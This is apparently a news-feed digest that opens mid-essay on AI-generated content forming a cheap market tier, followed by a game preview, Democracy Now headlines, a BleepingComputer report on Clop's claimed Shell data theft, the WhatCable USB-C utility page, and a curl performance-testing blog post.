What this market shows is that industrialization does not erase the artisans, but pushes them into a different segment. People did not stop buying handmade chairs when factories started making chairs cheaply. While the masses opted for the cheaper, mass-produced items, a small but sustained minority of buyers continued to seek out the human-made version, and over time were willing to pay a premium for it.

If the hypothesis holds, software engineering, writing, acting, illustration, composition and the other content-producing professions will undergo something similar. The bulk of the market will migrate to the cheap, mass-produced, generated tier, while a smaller market will continue to value, and to pay for, work that is verifiably the product of a thinking, breathing, opinionated human being. We are already seeing the first signs of this in agencies that explicitly advertise human-only content (at a premium), and in licensing companies flagging tracks as human-composed to distinguish them from AI library music.

I think that the interesting question is not whether this segmentation will happen, but what proportion of the market ends up in each tier, and how robust the upper tier turns out to be.

Ultra-processed

There is a darker version of this analogy. Roughly 57-60% of the daily caloric intake of the average adult in the United States and the United Kingdom now comes from ultra-processed foods . Across 22 European countries the share ranges from 14% to 44% , depending mostly on how protected the local food culture has remained. These foods are cheap, abundant, available everywhere, and nutritionally inferior to the alternatives in ways that have been studied at length . People know this, but they eat them anyway, often because the alternatives are slower, more expensive, harder to find, or require skills that have not been taught.

I suspect that AI-generated content is on the same path. The cheap tier will not be a marginal phenomenon serving a marginal audience, but it will be the default , the cornerstone of how most people consume software, entertainment, news, and information, because it is what the platforms will serve them and what their monthly subscription covers. Some will care enough to seek out the alternative, but most will not, just as most people, knowing what they know about ultra-processed food, do not change their grocery habits.

But maybe I’m wrong

Probably the strongest counter-argument to all of this is that LLMs are still early, that the quality issues are transient, and that within a few model generations the gap between AI-generated and human-generated work will narrow to the point where the distinction stops mattering or might not even be possible anymore. If that is true, the two-tier picture collapses, because there is no longer a quality difference to justify the upper tier, only a marketing difference. The handmade analogy breaks because, unlike a hand-built chair, a generated novel is functionally identical to a written novel once you can no longer tell them apart.

However, I am doubtful that this is going to be the case. There are tasks where I have watched the gap narrow faster than I expected, but there are also tasks where the gap has stayed stubbornly fixed and the failures have just gotten more sophisticated. My instinct is that for narrow, well-bounded technical work, the gap will close further. For long-form work that depends on a coherent worldview, lived experience, and, most importantly, emotions, I doubt it will, because the model has none of those.

The second counter-argument is that the consumer backlash will be stronger than I am giving it credit for. The 40% drop in engagement with AI-generated articles is not nothing, and platform incentives may shift if users start to penalize AI-flooded feeds. Apple and others have started experimenting with content provenance and disclosure schemes that, if widely adopted, could stop the worst of the flooding. So it is possible that I am underestimating the immune response .

The third counter-argument is, that the cheap tier might not be sustainable at all, because AI-generated content trained on AI-generated content degrades model quality , and the broader ecosystem ends up poisoning its own training data. If that turns out to be the dominant dynamic, the cheap tier could collapse before it becomes entrenched.

I think all three of these arguments are valid and have a certain weight to them, but none of them are strong enough, in my view, to make me confident that the TEMU-fication will not happen. They might modulate how it happens, but they probably do not stop it.

Summary

Initially, I went looking for an optimistic ending for this write-up, to say that software engineering is not going away , and writers are not going away , and actors are not going away . And while all of that is, I think, true, none of it should be confused with things will look the same .

What I expect, and what I am to some degree already seeing, is that the people producing software, books, music, scripts, and other human-made work will not disappear , but they will get pushed into a narrower, more specialized, more “luxury” -coded part of the market, pretty much the same way hand-bound notebooks, independent record stores, and small bakeries that mill their own flour did. There will still be a livelihood in it, at times a very good one, but it will look vastly different, and there will probably be fewer people making a living in these fields. My assumption is that they will be more visible inside their niche, but less visible outside it, and they will make their case in part on the basis of provenance , where something was made by a human who knew what they were doing, and you can tell.

Meanwhile, the bulk of what most people interact with will, I suspect, be generated. Some of it will be fine, and some of it will be ultra-processed , in the same sense that a frozen lasagna is ultra-processed. It will be functional, calorically adequate food , but it will not be what your Italian grandmother was making. People will nevertheless eat it because it is there, it is cheap, it is convenient, and because the alternatives have been priced out of their daily life.

There is no “inevitability” to it, because none of this is really decided yet. There are still choices, made by platforms, by regulators, by consumers, and by the people doing the actual work, that will shape which tier ends up being how big and how durable. The handmade market exists because enough people kept buying handmade goods to make it viable. The human-made tier of software and digital goods will exist because enough people keep buying it, or it won’t exist at all. If you are someone who writes code, or stories, or music, or scripts, by hand, with intent, and with a point of view, I do not think the LLM is going to kill your job . I do think, however, that it is going to change the shape of the market you operate in, push you toward the upper tier (whether you wanted to be there or not) and ask you to make a more deliberate case for why your work is worth the difference in price.

For the rest of us, the more interesting question is which tier we are choosing to consume from, and whether we are choosing it on purpose, or just because it was what the algorithm served us by default. I have my suspicions about the answer, but I would love to be wrong.

Alien: Isolation 2 – another strong female protagonist stalked in a terrifying new world

Guardian
www.theguardian.com
2026-08-14 08:00:27
Creative Assembly could strike gold again with this follow-up to their fan-favourite, film-inspired game … if you’re brave enough to venture outdoors Alien: Isolation redefined Alien games on its release in 2014, bringing the original taut, haunted house theme of the first movie to fans who had most...
Original Article

A lien: Isolation redefined Alien games on its release in 2014, bringing the original taut, haunted house theme of the first movie to fans who had mostly been fed action-packed shooters. Cowering under desks and inside lockers wasn’t a new thing; being hunted by an intelligent and lethal xenomorph that could spring down from a duct at any moment was.

“I was thinking about what we could do for a sequel while we were still finishing the first game,” reveals Creative Assembly’s Alistair Hope, creative lead on Alien: Isolation and its sequel. “But we didn’t actually start the project until around the time of the 10th anniversary. We’ve seen the response grow over time, watching [Alien: Isolation] continue to find new players, even though it’s a relatively old game. And they’re surprised there isn’t a sequel.”

Details are slight, but here’s what we know so far: a Weyland-Yutani survey team discovers a crashed vessel on a planet that resembles LV-426 crossed with a windswept forest. It’s a vessel that’ll appear familiar to fans of Alien: Isolation – it’s the part of Sevastopol that the duplicitous Marshal Waits jettisons from the station in the first game, with Amanda Ripley and the alien inside. Ripley escapes. The alien does not. Until now.

“We were super proud of Amanda. She’s really important to the Alien: Isolation experience. But we wanted to tell a new story, in a new location, and to do that, it felt like we needed a new protagonist,” says Hope. That new character is Blake, although Hope is tight-lipped on any details beyond her employer, Weyland-Yutani. It seems likely, however, that this new lead, thrust into the dangerous world of the xenomorph, will follow the IP’s tradition of strong female characters.

Alien: Isolation 2
‘We’ve been effectively training it to hunt in the exterior’ … Alien: Isolation 2. Photograph: Sega

A fascinating part of Alien: Isolation 2 will be how the alien reacts to its new environment. “The alien uses its senses to track you down, and it’s very effective in those interior spaces. So we’ve been effectively training it to hunt in the exterior. Those core survival skills that you needed in the first game will be the same – but the player and the alien are going to have to adapt to survive.” That’s not to say Alien: Isolation 2 won’t have plenty of claustrophobic interiors, creating a seesaw of emotions whether trapped inside or exposed outside. “We can play with that, and mess with it. It feels like a really exciting opportunity.”

Taking place months after the events of Alien: Isolation, the sequel will retain the low-fi sci-fi universe, leaning heavily once more on the first Alien movie. There’s a glimpse of a Working Joe in the trailer, suggesting that, once again, the alien might not be the only antagonist the player has to avoid. Could hostile humans enter the mix? Hope is guarded. “Alien: Isolation 2 absolutely is building on that core foundation that we established in the first [game],” he says. “And, yeah, we love that rock, paper, scissors setup and scenario.” Draw your own acid blood-spattered conclusions.

Sevastopol, the decommissioned and slowly decaying space station of Alien: Isolation, became an evocative extra character in the original game. Creative Assembly appears well placed to repeat the trick with Alien: Isolation 2’s forbidding colony world, home to a remote Weyland-Yutani outpost, Kurosaki Station. Just don’t forget your umbrella.

Headlines for August 14, 2026

Democracy Now!
www.democracynow.org
2026-08-14 08:00:00
CIA Carried Out Drone Strikes, Disappearances and Torture Near Ecuador’s Coast, Rights Groups Say Israel Is Covering Up War Crimes Evidence as It Clears Gaza’s Rubble, Israeli Settlers’ Siege of Palestinian Homes Draws Rare Rebuke from U.S. Ambassador, Lebanon Condemns Home Demolit...
Original Article

Headlines August 14, 2026

Watch Headlines

CIA Carried Out Drone Strikes, Disappearances and Torture Near Ecuador’s Coast

Aug 14, 2026

Image Credit: X/@Southcom

The U.S. strikes on several fishing boats near Ecuador’s Galápagos Islands earlier this year were part of a secret operation conducted by the Central Intelligence Agency, the CIA . That’s according to The Washington Post, which spoke to a source anonymously. One of the boats disappeared on January 20 along with eight of its crew members, who are presumed dead, according to the United Nations. Survivors of two other vessels that came under attack in March said they were abducted by U.S. forces, hooded, cuffed and tortured aboard a ship before being taken to El Salvador. No U.S. government agency has claimed responsibility for those strikes, which the Post reports are separate from the Trump administration’s publicly acknowledged strikes on boats off the Caribbean and Pacific. The Pentagon has provided no evidence for its claims the boats were carrying drugs. More than 200 people have been killed in the U.S. strikes since September.

Meanwhile, U.S. Southern Command and Panama have concluded PANAMAX 2026, a series of war games involving at least 17 other countries from across the Americas. It was the first time joint U.S. military exercises took place in Panama since 2012.

Rights Groups Say Israel Is Covering Up War Crimes Evidence as It Clears Gaza’s Rubble

Aug 14, 2026

In Gaza, Israeli attacks killed two Palestinians and injured several others on Thursday, with reports of airstrikes, mortar attacks and live fire. The strikes came as human rights groups warned Israel is conducting a massive effort to clear tens of thousands of tons of rubble from the Gaza Strip. The debris resulted from Israel’s near-daily attacks on Gaza since October 2023, which have killed at least 73,000 Palestinians. Some of the rubble is from cemeteries and other locations where human remains are known to exist, leading human rights groups to accuse Israel of attempting to erase evidence of war crimes.

Israeli Settlers’ Siege of Palestinian Homes Draws Rare Rebuke from U.S. Ambassador

Aug 14, 2026

In the occupied West Bank, Israeli settlers are continuing to besiege the Palestinian village of Qusra, with Israeli soldiers stopping activists from bringing in aid. Among those who’ve come under attack is a Palestinian American. That prompted rare criticism from U.S. Ambassador to Israel Mike Huckabee, who called the siege a “horrific act of terror.” A top humanitarian official at the U.N. said this week conditions in the West Bank have reached a “breaking point.”

Lebanon Condemns Home Demolitions by Israel as a “Serious Violation of International Law”

Aug 14, 2026

In southern Lebanon, Israeli Defense Minister Israel Katz vowed Wednesday his forces would maintain their occupation indefinitely.

Defense Minister Israel Katz : “We will clear this area and ensure the security of the residents of the north. And under no circumstances will we withdraw from security zones, not in Lebanon, not in Syria and not in Gaza.”

Katz’s remarks came after Lebanese Prime Minister Nawaf Salam said Israel’s demolition of homes in southern Lebanon represented a serious violation of international law.

Pentagon Sends New Aircraft Carrier to Relieve USS Abraham Lincoln Following Attempted Suicides

Aug 14, 2026

Iran’s military has rejected the Trump administration’s claims that ships are freely passing through the Strait of Hormuz, saying no one can pass without Iran’s permission.

This comes as the Pentagon has announced it will send a new aircraft carrier to the Middle East to replace the USS Abraham Lincoln amid reports of deteriorating conditions aboard the vessel. The USS George Washington is set to relieve the Lincoln, which has been deployed for over eight months. On Thursday, Defense Secretary Pete Hegseth dismissed reports in Stars and Stripes and the Military Times about a growing mental health crisis aboard the Lincoln, where sailors face moldy showers, backed-up plumbing and shortages of nutritious food, toiletries and other supplies. Despite Hegseth’s denials, a U.S. official confirmed that a sailor jumped overboard from the Lincoln in early August, saying the person was quickly rescued. The sailor had missed the birth of his daughter five months ago and reportedly complained to his higher-ups about mental health challenges before attempting suicide. On Thursday, the Senate Veterans’ Affairs Committee’s top Democrat, Richard Blumenthal, demanded answers about problems aboard the Lincoln.

DHS Targeted Left-Leaning Groups in Minnesota with Mass Surveillance Program

Aug 14, 2026

The New York Times reports the Trump administration carried out an expansive surveillance program targeting left-leaning groups in Minnesota, infiltrating group chats, spying on meetings at libraries and churches and secretly obtaining financial records of organizations that were never accused of crimes. Among groups targeted were labor unions, including the Communications Workers of America, the SEIU and the AFL - CIO , and climate activists with the Sunrise Movement. The massive spying operation began last winter as hundreds of thousands of Minnesotans joined protests demanding an end to a violent mass deportation campaign by ICE and other federal agencies. Government documents reveal DHS characterized the protesters as “violent opportunists and agitators,” alleging they were involved in a widespread conspiracy. The surveillance operation arose from a White House directive known as National Security Presidential Memo 7, which identifies a potential domestic terrorist as someone expressing “anti-Christian,” “anti-capitalism” or “anti-American” views. The civil liberties advocacy group Defending Rights and Dissent called the surveillance “a disturbing, invasive, and utterly unjustifiable attack on freedom of expression and political dissent.” Democratic Senator Chris Van Hollen responded, “These are the actions of an authoritarian state.”

ICE Confirms Death of Third Immigrant at Privately Run ICE Jail in New Jersey

Aug 14, 2026

In New Jersey, ICE has confirmed the death of a third immigrant in Newark that was first disclosed by Democratic Congressmember Rob Menendez last week. José Chajón Raxón from Guatemala reportedly suffered what appeared to be seizures and later died at the hospital, according to DHS . Chajón Raxón was detained at the privately run ICE jail known as Delaney Hall after being arrested on July 18. ICE claimed he was released from custody four days later, but provided no further details. ICE previously failed to notify of his death due to a new policy that no longer requires the agency to report on deaths that occur within 30 days after an immigrant is released from custody. This is the third reported death connected to Delaney Hall since December, as detainees and advocates have widely condemned chronic medical neglect inside the facility. Nationwide, more than 50 immigrants have died in ICE custody since Trump returned to office.

140 Immigrants Hold Hunger Strike at For-Profit ICE Jail in Tacoma, Washington

Aug 14, 2026

In Washington state, over 140 immigrants are entering the third day of a hunger strike at the notorious Northwest Detention Center in Tacoma. That’s according to the advocacy group La Resistencia, which confirmed the action began on August 11. Among their demands is proper medical care, as several detainees with broken or dislocated bones reportedly have not received treatment. Northwest and Delaney Hall are both operated by the for-profit prison company GEO Group.

Activists Try to Halt Border Wall Construction as Contractors Bulldoze Landmarks

Aug 14, 2026

Image Credit: Reuters/Rebecca Noble

In Texas, bulldozers have rolled into Big Bend National Park to tear down portions of the environmental landmark as part of the Trump administration’s $46.5 billion effort to expand a massive border wall and other security infrastructure along the border with Mexico. Protesters gathered Thursday at Big Bend seeking to block construction of the wall, after the Department of Homeland Security waived requirements that federal contractors comply with a broad slate of environmental laws, including the Endangered Species Act.

Meanwhile, in southern Arizona, a protest camp predominantly led by queer and femme activists in the small border town of Lochiel is seeking to protect ancient cottonwood trees, as federal contractors race to build another portion of Trump’s border barrier with Mexico at a cost of about a half a billion dollars. At the center of the protest camp is a 200-year-old cottonwood known as a “grandmother” tree.

Russian and Ukrainian Attacks in Black Sea Raise Fears of Skyrocketing Global Food Prices

Aug 14, 2026

Ukraine has proposed a deal with Russia that would see both sides halt attacks on civilian ships in the Black Sea. Reuters reports the offer came as part of an effort to reopen a crucial grain corridor amid warnings that the attacks are driving up global food prices, which are already at their highest levels since early 2023. The United Nations reports more civilians were killed or injured in Ukraine in July than in any month since Russia’s full-scale invasion, with at least 437 deaths and over 2,600 injuries in Ukraine in July.

Japan Rejects Putin Visit to Disputed Islands as Poland Says It Thwarted Russian Assassination Plot

Aug 14, 2026

Poland’s prime minister says authorities have arrested a Russian national who was preparing to assassinate a Ukrainian American citizen in Warsaw. Donald Tusk called it Russia’s first attempted attack on a U.S. citizen in a NATO country.

In Tokyo, Japanese Prime Minister Sanae Takaichi on Thursday blasted Vladimir Putin over the Russian president’s first-ever visit to the disputed Kuril Islands. It’s one of four islands claimed by both Russia and Japan.

Prime Minister Sanae Takaichi : “This latest visit to Iturup by the incumbent president of Russia runs contrary to Japan’s consistent position regarding the Northern Territories. Furthermore, it hurts the feelings of the Japanese people and is absolutely unacceptable.”

Meanwhile, President Trump shared a video on Instagram Thursday showing former U.S. Marine Robert Gilman aboard a plane with Trump’s special envoy Steve Witkoff, following Gilman’s release from Russian custody. He had been jailed by Russia for over four years.

Indiana Declares Statewide Disaster Emergency Amid Historic Flooding

Aug 14, 2026

Image Credit: Cambridge City Indiana Police Department

Indiana’s governor has declared a statewide disaster emergency and deployed the National Guard, following severe storms that brought what officials called a “once-in-a-millennium” flooding event. More rain is expected this week in Indiana and neighboring Illinois, which also suffered flooding. Some 36 million people across the Midwest were under flood alerts on Thursday.

Federal Judge Tosses Trump Administration’s “Antisemitism” Lawsuit Against Harvard

Aug 14, 2026

A federal judge has dismissed the Trump administration’s lawsuit accusing Harvard University of failing to combat antisemitism on campus. The government had argued the university failed to protect Jewish community members during campus protests over Harvard’s ties to Israel’s assault on Gaza and Israel’s occupation of Palestinian territories. A U.S. district judge in Massachusetts called incidents of antisemitism “isolated and episodic.”

Congressional Black Caucus Calls for Federal Probe into Death of Nolan Wells

Aug 14, 2026

The Congressional Black Caucus is calling on the Department of Justice to investigate the mysterious death of Nolan Wells, an 18-year-old Black college athlete whose body was found in July on a barrier island in Mississippi. Wells vanished after taking a boat to the island with a group of white friends over the July Fourth holiday. His body was recovered several days later. Authorities say Wells may have accidentally drowned, but his family has questioned the official story, in part because Wells’s cellphone was found not with his body, but in the possession of one of his friends, who returned home. This is Georgia Democratic Congressmember Lucy McBath.

Rep. Lucy McBath : “This brings back so many vivid memories for me and my own family, having lost Jordan to unnecessary gun violence in November 2012, Black Friday, simply because he was Black and playing loud music in his car. And so, here we are again today, here for the loss of another Black young man in our community, and we find ourselves asking the same questions.”

Kennedy Center Board Orders Trump’s Name Restored to Performing Arts Center, Flouting Court Order

Aug 14, 2026

In Washington, D.C., the board of directors for the Kennedy Center has voted to once again inscribe Donald Trump’s name on the building — and to shutter it for two years, allegedly to make renovations to the performing arts institution. Thursday’s vote by Trump’s hand-picked board comes despite a federal judge’s order barring closure of the Kennedy Center and ordering the Trump administration to remove Trump’s name from the building.

Meanwhile, Senate Democrats are seeking an audit of spending on the White House East Wing and ballroom, after The Washington Post reported the Trump administration plans to spend at least $900 million on new construction. When Trump announced his plans to build a ballroom last year, he repeatedly promised the project would be funded entirely by private donors.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Shell investigates 'potential incident' after Clop data theft claims

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 07:55:45
Oil giant Shell has confirmed it is investigating a potential security incident after the Clop ransomware gang claimed it stole 89GB of data. [...]...
Original Article

Shell

Oil giant Shell has confirmed it is investigating a potential security incident after the Clop ransomware gang claimed it stole 89GB of data.

Shell is a British multinational energy conglomerate and one of the world's top three oil and gas companies, after Chevron and ExxonMobil. It has 85,000 employees in more than 70 countries and operates a massive network of tens of thousands of service and recharge stations that serve over 20 million customers daily.

According to a recent post on Clop's dark web data leak site, the allegedly stolen files include engineering drawings, scans of facility testing reports, photos of the facilities, and project plans.

image

"We are aware of a potential incident. We are working with our security teams and relevant experts to investigate," a Shell spokesperson told BleepingComputer when asked to confirm Clop's data theft claims.

While the company has yet to share more information, the Clop gang listed it on its leak site as one of 43 new victims likely targeted in data theft attacks against Internet-exposed PTC Windchill and FlexPLM instances exploiting a critical improper input validation vulnerability tracked as CVE-2026-12569 .

As part of the same attacks, Clop also claimed it stole sensitive data, including backups, system files, projects, drawings, diagrams, and blueprints, from the networks of tech conglomerates General Electric and Philips.

GE and Philips spokespersons were not immediately available for comment when BleepingComputer contacted them earlier today. A PTC spokesperson has also yet to reply to a request for comment.

Clop data theft claims
Clop data theft claims (BleepingComputer)

​PTC began releasing CVE-2026-12569 security patches on June 17 and, even though it didn't confirm in-the-wild exploitation, it also released a private advisory urging customers to review environments for indicators of compromise (IOCs).

After PTC warned customers of "heightened threat activity" on June 26, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) also confirmed that the flaw is actively exploited in attacks, adding it to its Known Exploited Vulnerabilities catalog, and ordering federal agencies to secure their PTC Windchill and FlexPLM instances within three days.

CVE-2026-12569 also prompted emergency action from German authorities , with the Federal Office for Information Security (BSI) warning PTC customers in the middle of the night to patch their systems as quickly as possible.

Clop's Windchill and FlexPLM attacks were also confirmed by the Ransomware Information Sharing and Analysis Centre (Ransom-ISAC) , a non-profit organization dedicated to the tracking and defense against ransomware threats, and by cybersecurity company ReliaQuest , which said that the threat actors have been deploying JSP webshells that allow them to steal sensitive data from victims' compromised PLM platforms.

ReliaQuest advised PTC customers to patch Windchill and FlexPLM systems and, where possible, place them behind VPNs or trusted access gateways. Additionally, if compromise is suspected, they should isolate affected servers, collect forensic artifacts, and rotate any exposed credentials before restoring service.

PTC FlexPLM and PTC Windchill are enterprise software platforms in the Product Lifecycle Management (PLM) category, used to track, design, and manage products up to final manufacturing.

The two systems are widely popular among engineering, manufacturing, quality, and supply chain teams at high-profile companies across the aerospace, defense, automotive, heavy machinery, retail, and medtech sectors. PTC says that its products are used by over 30,000 customers globally, including more than 1,500 brand and retail customers using FlexPLM.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

WhatCable: Know what your USB-C cable can do

Hacker News
www.whatcable.uk
2026-08-14 07:41:34
Comments...
Original Article

A Bitmoor product macOS menu bar diagnostics for USB-C

Plug in a cable. WhatCable shows its speed, power capability, display path, and the weak link in your connection, using what macOS reports, not what the packaging promises.

Need deeper diagnostics? Explore WhatCable Pro

Open source, Pro optional Apple Silicon, macOS 14+ Signed and notarised Available in 19 languages

WhatCable menu bar popover showing one USB-C port running a Thunderbolt link to a Studio Display and a Ugreen dock. Three verdicts sit at the top: the battery is full so nothing is charging, this Mac port limits data speed to 40 Gbps while the cable and device can both do 80, and the display is running at full quality. Below that the cable is identified as an Apple Thunderbolt 5 cable, and the connected devices are listed nested underneath the display they are plugged into.

Answers, not raw data

See what is happening across the whole connection.

A cable never works alone. WhatCable reads the port, cable, charger, adapter and connected device together, then explains the result in plain English.

Charging

Why is this Mac charging slowly?

See what the charger offers, what the cable supports, and whether the Mac is drawing all the power it needs. WhatCable explains the result instead of leaving you to swap components at random.

Charger and cable are fine. The Mac will draw up to 94W when it needs to.

WhatCable showing that the charger and cable are fine while the Mac battery is full

WhatCable showing a cable's e-marker identity, speed, power rating and connected device

Cable identity

What kind of cable is this?

Read the cable's e-marker identity, advertised speed, power rating and active transports. Turn on technical details when you need the underlying values from macOS.

USB4 Gen 4 at 80 Gbps. Rated for up to 240W.

How WhatCable knows

Claims are useful. Observed behaviour is better.

WhatCable reads the identity a cable reports, checks it against USB Power Delivery rules, and compares it with what the Mac actually negotiated. It cannot see inside the cable jacket and never pretends it can.

Contributed observations build a public record of how real cables identify themselves across real hardware.

125 cable observations in the public database

Reported through WhatCable Searchable by vendor, speed and identity Nothing is uploaded without your action

Cables seen by WhatCable users.

Search reported cables by vendor, speed and identity, or see whether yours has appeared before.

Browse all cables

USB4 80 Gbps CalDigit TB5 cable 240W, passive

USB 2.0 Anker 333 nylon 100W, passive

USB 3.2 Gen 2 Monoprice Essentials 100W, passive

Features

Plain answers for cables that all look the same.

WhatCable reads the USB-C and USB Power Delivery details macOS already exposes, then turns them into useful labels, charging diagnostics, and port-by-port device context.

Charging bottlenecks

See whether the cable, charger, or Mac is limiting the current charge rate, with the negotiated power profile highlighted.

Mid-session fault warnings

If a cable develops trouble while it is plugged in (an overcurrent or the connection dropping and reconnecting), a banner appears on the port. Catches faults that only show up under load.

Data-speed bottlenecks

A plain-English verdict on what is limiting the link: the Mac port, the cable, or the device, so you know whether a faster cable would actually help.

Display bottlenecks

When a monitor is connected, see whether the link is carrying its full resolution and refresh, or falling short, and whether an adapter, the cable, or the selected mode is the limit.

Cable e-marker data

Decode cable speed, current rating, vendor identity, and USB PD capability flags from marked USB-C cables, including USB-IF certification read straight off the cable.

Active transports

Identify USB 2, USB 3, USB4, Thunderbolt, and DisplayPort paths under the physical port where they are connected.

Engineer mode

Option-click or enable raw details to reveal the underlying IOKit properties when you need the registry-level facts.

Connected devices

Every device sits inside the thing it is actually plugged into, not a flat pile. Hubs are hidden by default, and each device says how many it is sitting behind.

Built for macOS

A focused menu bar app on Apple Silicon Macs. No helper daemon, no private API, no background uploads.

CLI

The same diagnostic engine in your terminal.

The bundled CLI gives you quick snapshots, structured JSON for scripts, and watch mode when you are swapping cables during testing.

  • Readable summaries for quick cable checks.
  • Pipe JSON into jq for repeatable diagnostics.
  • Live updates as ports connect and disconnect with --watch .
  • Full-screen live dashboard of ports, power, and Thunderbolt with --dashboard (Pro).
$ whatcable

USB-C Port 1
  ✓ Charging well at 96W
  Cable: 5A, 100W, USB4 40 Gbps
  Charger: 5V / 9V / 15V / 20V PDOs

USB-C Port 2
  ! Cable is limiting charging speed
  Cable: 3A, 60W, USB 2.0
  Device: External SSD, USB 10 Gbps

Cable trust signals

Spot cables that don't add up.

WhatCable checks the e-marker data against the USB Power Delivery spec. When something looks unusual, an orange card appears with the details. It is not a guarantee the cable is fake, but it tells you where to look.

  • Vendor ID checked against the USB-IF published list.
  • Speed and current fields validated against PD spec ranges.
  • Reserved bit patterns and zero-value metadata flagged.
  • Vendor ID is 0x0000 (not registered with USB-IF)
  • Cable latency field uses a reserved value
  • Claims 5A current but reports USB 2.0 speed

Settings

Make it yours.

WhatCable stays out of the way until you need it. A few settings let you control how it runs and what it shows.

Notifications

Get alerts when cables connect or disconnect.

Dock mode

Run as a regular window instead of a menu bar icon.

Launch at login

Start automatically so it is ready when you plug in.

Hide empty ports

Only show ports with something plugged in.

Pro

Need more? Pro goes deeper.

The free app answers the everyday questions. Pro adds history, live measurements, and the deeper evidence needed for difficult faults and repeat testing.

£9.99 one-time. Works on up to 2 Macs.

See all 16 Pro features

Cable history Add a cable, give it a name, and WhatCable records how it performs over time, with a verdict per cable.

Negotiation Diagnostics Mac port, cable, and device support side by side, with the weak link highlighted.

Live power metering Watts, amps, and voltage per port, updating every 2 seconds.

Does it work on Intel Macs?

No. WhatCable needs Apple Silicon (M1 or later). This is measured, not assumed: every Intel Mac in our community diagnostic data reports its USB-C port controllers as empty, so the USB-PD state and cable e-marker data WhatCable is built on never appear on those machines at all. Thunderbolt link data is still there on Intel, but the port-controller layer WhatCable reads is not.

Is it really free?

Yes. The WhatCable app is free and open source under the MIT licence. No ads, no tracking. WhatCable Pro (£9.99, optional) adds advanced diagnostics for power users. See what's included.

What does WhatCable Pro add?

Pro unlocks 16 advanced features including cable history (named cables with a recorded timeline), live power metering, Negotiation and Display Diagnostics, port health counters, PD contract inspection, and raw VDO identity. One-time £9.99, no subscription, works on up to 2 Macs. See full features and comparison.

Does it phone home or collect data?

No analytics, no telemetry, and nothing about you or your cables ever leaves your Mac. In the free app the one routine network call is a version check against the public GitHub Releases API, roughly every 6 hours. WhatCable Pro adds one more: a licence check when you activate your key, then once each time the app launches. That call sends only the key and your Mac's hardware UUID, which is how the two-Mac limit is enforced. Diagnostic data only goes anywhere if you explicitly choose to contribute it. Check the source on GitHub if you want to verify.

Does WhatCable just read the e-marker?

Not only. On a plain USB connection the cable's e-marker chip is all macOS exposes, so that is what WhatCable shows. But on a Thunderbolt or USB4 connection it goes further: it reads the speed the Mac's controller actually negotiated with the cable and shows it next to the e-marker's claim, so a cable that under-reports itself is caught. The measured speed is a floor, meaning at least this fast, so a genuine 10 Gbps cable that never forms a Thunderbolt link really is 10 Gbps.

Why does my cable show no e-marker data?

Two reasons. Either the cable has no e-marker chip (cheap USB 2.0 cables and many cables rated at 3A or below don't have one), or it has a chip but macOS hasn't read it. macOS only asks a cable to identify itself when the connection needs it: a charge drawing more than 3A (a 5A cable on a high-wattage charger), or a Thunderbolt / USB4 link. Plug a marked cable into a low-power charger or a plain data connection and macOS may never query it, so there's nothing for WhatCable to show. To force the read, connect the cable to a high-wattage charger or a Thunderbolt device.

Can it tell me if a cable is fake?

Not definitively. The trust signals feature flags values that look unusual against the USB-PD spec, like a zero vendor ID or reserved bit patterns. A flag means "worth checking," not "definitely counterfeit."

What languages is WhatCable available in?

19, and the diagnostic verdicts are translated too, not just the menus: Armenian, Brazilian Portuguese, Dutch, English, French, German, Hindi, Italian, Japanese, Korean, Latvian, Norwegian, Polish, Russian, Simplified Chinese, Spanish, Traditional Chinese, Turkish, and Ukrainian. WhatCable follows your Mac's language by default, or you can pick one in Settings. Translations are community-refinable, so if something reads oddly in your language, open an issue and we'll fix it.

Install

Pick the install that fits how you work.

Menu bar app, command-line tool, or both. Signed, notarised, and universal. Requires macOS 14 or later on Apple Silicon.

Menu bar app plus the whatcable CLI on your PATH.

brew install --cask darrylmorley/whatcable/whatcable

Just the whatcable command, no menu bar app. Same signed binary, useful for terminal-only setups and scripts.

brew install darrylmorley/whatcable/whatcable-cli

Grab the latest .zip from GitHub Releases. The release page also has a CLI-only zip. Drag WhatCable.app into Applications.

Get the latest release

The rest of the answer

WhatCable stops at the cable. The questions don't.

Knowing a charger only negotiated 60W raises the next question, and it is usually about the battery or the port it is plugged into. Two more Mac utilities from the same developer, built the same way: read what the Mac already knows, then say it in plain English.

Curl Performance

Lobsters
daniel.haxx.se
2026-08-14 07:33:57
Comments...
Original Article

tldr: the live version is here: https://curl.se/perf/

How fast is “fast” and is it good enough? Does it run as fast now as it did before or was there a regression? What exactly needs to be fast? How fast is it?

These are questions that many projects and products face, and in curl we are no different. Yet, performance testing and comparisons are hard and full of landmines and time-wasting efforts. For many years we have occasionally brought up the idea of a performance test suite for curl only to shut it down again because the challenges seemed hard and no one was volunteering to do this.

This week it changed.

Let’s do this

I started out trying to find existing projects that host performance results for Open Source projects so that we could just feed our results something else and get great visualizations and data management. I did not find any such.

I then took a look at what existing tools there are for this purpose, and most pointers seemed to suggest that Grafana is a popular and maybe even a good solution to build something like this with. But man, that is a complicated machine and it felt more than a little overwhelming just figure out where or how to start with it. I decided to postpone that take as well.

Let me do this

I decided that instead of trying to do this the best and optimal way – I shouldn’t let perfect be the enemy of good – I would start out by doing the things I know how to do and take it as far as I can one step at a time. Something should be better than nothing .

Performance testing needs decently stable system conditions so that repeated runs produce reasonably similar results, when all involved factors remain identical. This is basically impossibly to accomplish using most cloud infrastructure since those are almost always shared with countless other users. At least on the cheap and free tiers we use.

We probably need our own dedicated hardware for this, but instead of trying to figure out where to get that and arrange for that, I would start by running performance tests on my own local development machine. I am a single user on this and it has many cores and runs decently fast. It should be good enough to get this going on.

I created a first shell script that updates the curl source code from git, it configures and builds it. Then it runs a bunch of tests, outputs a bunch of data and logs all the output in a single log file. I started out with a few simple tests. How fast does curl download a 100 GB file from localhost, how many allocations and how big allocations does it need for a single HTTP download?

My second script parses all the test log files from the previous builds and generates summaries and graphs for them. To make it possible for humans to see how the performance changes between builds and ideally to automatically detect when something changes more than what should be tolerated.

